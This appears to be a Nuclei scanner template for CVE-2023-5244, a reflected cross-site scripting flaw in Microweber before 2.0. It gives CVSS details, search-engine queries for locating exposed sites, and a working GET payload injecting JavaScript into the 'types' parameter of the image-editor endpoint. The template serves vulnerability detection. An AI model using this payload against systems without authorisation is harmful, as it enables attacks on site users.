id: CVE-2023-5244

info:
  name: Microweber < V.2.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Reflected Cross-Site Scripting Vulnerability in types GET parameter on the /editor_tools/rte_image_editor endpoint.
  reference:
    - https://huntr.dev/bounties/a3bd58ba-ca59-4cba-85d1-799f73a76470/
    - https://vuldb.com/?id.240778
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5244
    - https://github.com/microweber/microweber/commit/1cb846f8f54ff6f5c668f3ae64dd81740a7e8968
    - https://huntr.dev/bounties/a3bd58ba-ca59-4cba-85d1-799f73a76470
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-5244
    cwe-id: CWE-79
    epss-score: 0.00176
    epss-percentile: 0.54692
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2023,huntr,xss,microweber

http:
  - method: GET
    path:
      - "{{BaseURL}}/editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "alert(document.domain)", "microweber")'
        condition: and
# digest: 4a0a00473045022100b0df28674bea4b89f8caeb55992994b32d6d6bcb1954e29dfc39bc20a039c7930220244a141f232cdac040c8fd0ffbb0051927e57e11f0918c39cee7dda1009be805:922c64590222798bb761d5b6d8e72950